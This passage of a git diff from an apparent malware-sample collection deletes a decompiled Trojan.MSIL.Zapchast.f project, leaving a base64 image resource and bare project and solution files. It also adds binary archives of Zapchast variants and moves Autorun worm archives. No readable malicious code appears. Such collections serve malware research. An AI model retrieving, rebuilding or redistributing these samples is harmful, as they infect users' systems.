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64FXA4FbrirdcCrgcCrgcFK3gVvArYOKt1wK3XFW64FbrirdcCurirq4q3UYFdXFW64odXFXVxV1caV1caV1caV1cKtVxV1cUOqMVarirq4q1irq4q6uFWq4q1XFXVwq1XFXYq1irq4VarilquFWq4q1XCrVcKtYpaxV1cKtVwq0Tiq2uGldhVquKtE4qt5YVarhVquKVtcKtE4VarhW2sUOxV2FWq4pprFXdMKtE4VaxV2KuxV2KuxVonFWsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVbpireKuxV2KuxV2KrgMCHYEtgYq3ih2KXYEN4EhvFLsVbGKG8CuxV2KuxV2KuxV2KuxVacKtYpdirq4UNYodhS7FDRxS1iriaYULcKXYq7FXYq1XFWsVdirsVdirsVdirsVdirsVdirsVdirYGKt4q7FXYq7FXYq7FXYquGAobwK1il2KXYq4YoX4odirsVdirsVdirsVaJpiq0nFLsUuxV2KG8UNVw0q3Cl2KuxV2KuxV2KuxV2KtHFWsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVf/1fNecE8u7FWxilvAlsHFDeBV2BC4GuBWwcCt4q3irdcCtg4FbrjSVwOBDdcCrq4KVuowK7FW64FbrirdcCt1wK3XFW8VdirsVdirsCuxQ7FXYobxVquKurhV1cVdXFWq4q6uKtVwq6uKtVxV2KuxVqowq1ywpaJrirVcVdXFDVcKWq4VarirsUtVw0rVcKtVxVonCrVcKtVxVquKtVxVrlhVrCrVcKrScKaarilquFDWKHYq7CricVW4pdihonClrCrsVdirsVdirROKurirWKuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KtjrireKuxV2KuxV2KrhgQ7AruuKV2KHYq7ArYxVvAyaxVvFVwwMXYpdirsVdirsVdirsULSa4UtYpdirsKGsUOwpdiho4q1ilxwoawpaxV2KuxVo4q1irsVdirsVdirsVdirsVdirsVdirsVbxVvFDsUuxV2KuxV2KuxVsYEN4FdirsWTsVdiq4DFi3irsVdirsVdirsVaJxVbil2KXYq7FXYsWiaYVawpdirsVdirsVdirsVdirsVaOKtYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq/wD/1vNecG8wHYEOxVvAlvFLYOBDeKrsCFwOBW8Ct1xV2Kt4FbrgVuuKt4q3XArdcCt8sVbBwUq6uBXVxVuuBW64q7lihuuBLq4q3XFDq4q6uKurirq4q6uKurirq4oarirsVdirVcKuqMVa5YpdyxQ1XClquKurirXLDStVxV1cKtYq1XCl1caVquFWq4q1XCrVcaQ6uFLVcVariq3lhVquFWq4q1XCrVcKaaJxVquFbaxQ7CrsVarimnVOKtYoarhpLWFXYq7FXYq7FXHFWq4q1irsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdiq6mKuxV2KuxV2KtjfFW8ihsYpbxQ7FLsCHYqupgZNYq7FVwxQW8CHYpdirsVdirsVdihaThS1il2KuOFWsWLsKXYoaJxS1irsULckl2KuxV2KuOKGsUtYq7FXYq7FXYq7FXYq7FXYq7FXYq2MVbxV2KuxV2KuxV2KuxVvFW6ZFDsVdiydirsVbAxQ3ihvFXYq7FXYq7FVpOKQ1irsUuxV2KHYoccVaySWsVdirsVdirsVdirsVdirRxVrFXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq//1/NecG8u7ArsVdirdcUt4Etg4EN1xQ3gSuBpgQ2DXFW64FbrirsVbrgVuuKt1wK3XFW64q6uBW64Fb5Yq3ywUruWNK3XArdcVdXFDuWKt8sCuriruWKu5Yq7lirq4odU4parhQ6uKWq4q6uKHVxS1XCrq4q1XCrVcVdirVcUurhpXVwq1XFWq4q1XCh1caVonCrVcUtVxVrkMKtcsVawq1XFWicKVtcKtVxW3VwoaxV2FXVxV1cUrcVd0xVquGkNYUuxV2KuxV1cVarirsVaxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxVvFWxirsUuxQ7FXYq7FV2RQ7FK4DFDsVdirsCtjAl2KXYq3irYFMDFvFLsVdirsVdirjtiq0muFWsUuxV1cKGsUOxV2FXE0xVbil3TFDRySWsVdirsVdirWKtYq7FXYq7FXYq7FXYq7FXYq7FXYq3TFW8VdirsVdirsVdirsVbAxVvIobxVrFLsUuxV2KFwFMUN4q7FXYq7FXYqtJxS1il2KuxV2KHYq4mmEKtwq7FXYq7FXYq7FXYq7FXYq44qtxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV//9DzZnBvLtYFdirsVdiq4YGQdirYwIbxQ3XAreKtg4FbBrireBW64q7FW8VdXArdcVbBwK3XFXVxVuuCldXFXYq3XArqnFXVOKuqcVbrirq4q6uKurirq4odXFXVxVquKXVxV2KurhVquKHVxpLq4aVquKurirVcVarhQ6uNK1XCrVcVarilrFXVwq1U4q1hVquKtE4VaqMUtE4VarirsKGsVdhV2KtVxVrFXYq1XClrCrsVdirsVdiricVaxVrFXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FV2KuxV2KuxV2KuxVcMCuwKuGKHYq7FLsCGxil2BLsVdirYxVdgYuxS7FXYq7FXYoW4WTWKuxV2KtYWLsVdhVxxVbil2KHHCq3Cl2KuxV2KtHFWsVdirsVdirsVdirsVdirsVdirsVbGKt4q7FXYq7FXYq7FXYq2BgVvAh2KuxS7FLsVdihdihvFXYq7FXYq7FVpxS1il2KuxV2KHYodirRySWsVdirsVdirsVdirsVdirsVaxVrFXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FX//0fNmcG8u1irsCuxV2KuxVvAybxVuuBDeKHVxVuuBW8VbrgVsHFW8CurirdcVdirsVbrirq4KVuuKurgVvlirq4q6uKt1xV1cVdXFXVxV1cVdXFXVxV1cVdXFXVxV1cVarirq4q6uFDXLGldXFWuWGla5Yq1XFLq4q1XFXVwq1yxVquFWq4q6uKtVwq1XFLVcKtVxV1cKGsVdirsKurimmq4oaxVxOFWq4UtYq7FXYq7FXYq1XFXVrirWKuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2Kt4q3ih2KXYq7FXYq3irdMCHYEuGKrgKYodil2BDsVbwMnYq3irsVbAwIbxV2KuxV2KuOKFpNcLJrFXYq7FXYWLWKuwpdihonFLWKtVw0rWFXYq7FXYq44qtxV2KuxV2KuxV2KuxV2KuxS7FDsVbGKt4q7FXYq7FXYq7FXYVbAyKt4EOxV2KXYpdirhvihcMUN4q7FXYq7FXYq0cVWk1xS7FLsVdih2KG8VWZJLsVdirsVdirsVdirsVdirsVdirWKWsUOxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2Kv/0vNmcG8u7FWsCuxV2KuxVvFXYGTeKuBxQ3XAreKHVxVuuBW8VdirqnFW+WBW6jFXYFbrirq4q3XFXVxV1cVdXFXVxV1cVbrirq4q6uKurirq4q6uKurihrlirq4pdyxQ6uKurilquKtVwq6uKtcsVcTirVcKuxVrFXVxVquFWuWKWicKurirVcUW7CrWKuxV2FXVxVquKuxVrFXVw0rVcKWsVdirsVdirsVaJxV2KtYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FW8VbxV2KuxV2KuxV2KrqYEOwJdSuKrsUOxS7AhvFXYGTsVdireKtjAhvFXYq7FXYq6uKrcKWsVdireKrcLF2Kuwpdiho4paxUurhCGsKWsVdirsVdihbil2KuxV2KuxV2KuxV2KuxV2Kt4q3TFXUxV2KuxV2KuxV2KuxVumC1bwIdirsUuxS7rihuhxVvFDeKuxV2KuxV2KtVxVbXFLsUuxV2KuxYurTFWicklrFXYq7FXYq7FXYq7FXYq7FXYq0cVaxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2Kv/0/NmcG8u7FWsVdgV2KuxV2Kt4q4HFNt4EuxV1TiimwcVbwIdirq4q3XArsVdireKurirqnArfLCruWBXcsVdyxV3LFXcsVdyxV3LFXcsVdyxV3LFXcsVdyxV3LFXcsVaqcVdU4q7CrWKurirq4q6uKtVwq7lilquFXVxQ1XFLVcUOrhVrFXYq7FXYVdXFWq4q7FWsVdXDSWq4VaxV2KuxV2KuxV2KtVxV2KtYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FV2KuxV2KuxV2KuxVdTArsCuxVcNsUOxS7FXYEN4GTsVdirsVbHXFC7ArsVdirsVdXFC04UtYpdireKtHCxaxV2KXYUOJpiq3FLjihonJJaxS7FDsVdirRxVrFXYq7FXYq7FXYq7FXYq7FXYqupirsVdirsVdirsVdirsVXAYFdgQ7FLsVdirsVXAUxQ3irsVdirsVdirsVaxVaeuKXYq7FLsVdihvFC04QkNYVdirsVdirsVdirsVdirsVdirsVaOKtYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FX//1PNmcG8u7FXYq1irsVdgV2KuxV2Kt4q6uBNurireKWsVbrirdcUOrgV1cVdXFDeKurirq4q3XFXVxV1cVdXArq4q6uKurirq4q6uKurirq4VdXFWq4q6uKurirXLFLuWKurirq4q1XCrq4q1XFDq4VdXFXYq1irsVdhV2Kurirq4q1XFXYq1irq4aVquFLWKuxV2KuxV2KuxVquKuJxVrFXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FW8VbGKHYpdirsVdirsUrqUwMXYEuxVdTFDsUuxV2BDeBk7FXYq7FXYqvwMXYpdirsVdihaTXClrFLsVdirq4UNYodhS7FXVpihbil2KGq4VawpdirsVdirjiq3FXYq7FXYq7FXYq7FXYq3ireKHYpdirsVdirsVdirsVbpirdMih2KuxS7FXDfFW6YotvFW8VdirsVdirsVdirsVWnFWsUuxS7FXYsW8VWk4VawpdirsVdirsVdirsVdirsVdirsVdirWKtYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FX//ZCw== - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.csproj b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.csproj deleted file mode 100644 index eedddc4a..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {4F799579-40C9-4785-8F82-18619A51377C} - WinExe - XqNvNTCMcR - 1.0.0.0 - XqNvNTCMcR - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.sln b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.sln deleted file mode 100644 index 28a720b2..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Trojan.MSIL.Zapchast.f.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "XqNvNTCMcR", "Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.csproj", "{4F799579-40C9-4785-8F82-18619A51377C}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {4F799579-40C9-4785-8F82-18619A51377C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {4F799579-40C9-4785-8F82-18619A51377C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4F799579-40C9-4785-8F82-18619A51377C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {4F799579-40C9-4785-8F82-18619A51377C}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aaxrn.7z b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aaxrn.7z new file mode 100644 index 00000000..05f78bdf Binary files /dev/null and b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aaxrn.7z differ diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aelqe.7z b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aelqe.7z new file mode 100644 index 00000000..b4a97343 Binary files /dev/null and b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aelqe.7z differ diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.f.7z b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.f.7z new file mode 100644 index 00000000..286b1ea1 Binary files /dev/null and b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.f.7z differ diff --git a/Win32/InternetWorm/Worm.MSIL.Autorun.a.7z b/Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.MSIL.Autorun.a.7z similarity index 100% rename from Win32/InternetWorm/Worm.MSIL.Autorun.a.7z rename to Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.MSIL.Autorun.a.7z diff --git a/Win32/InternetWorm/Worm.MSIL.Autorun.jk.7z b/Win32/InternetWorm/Worm.Win32.AutoRun.Generic/Worm.MSIL.Autorun.jk.7z similarity index 100% rename from Win32/InternetWorm/Worm.MSIL.Autorun.jk.7z rename to 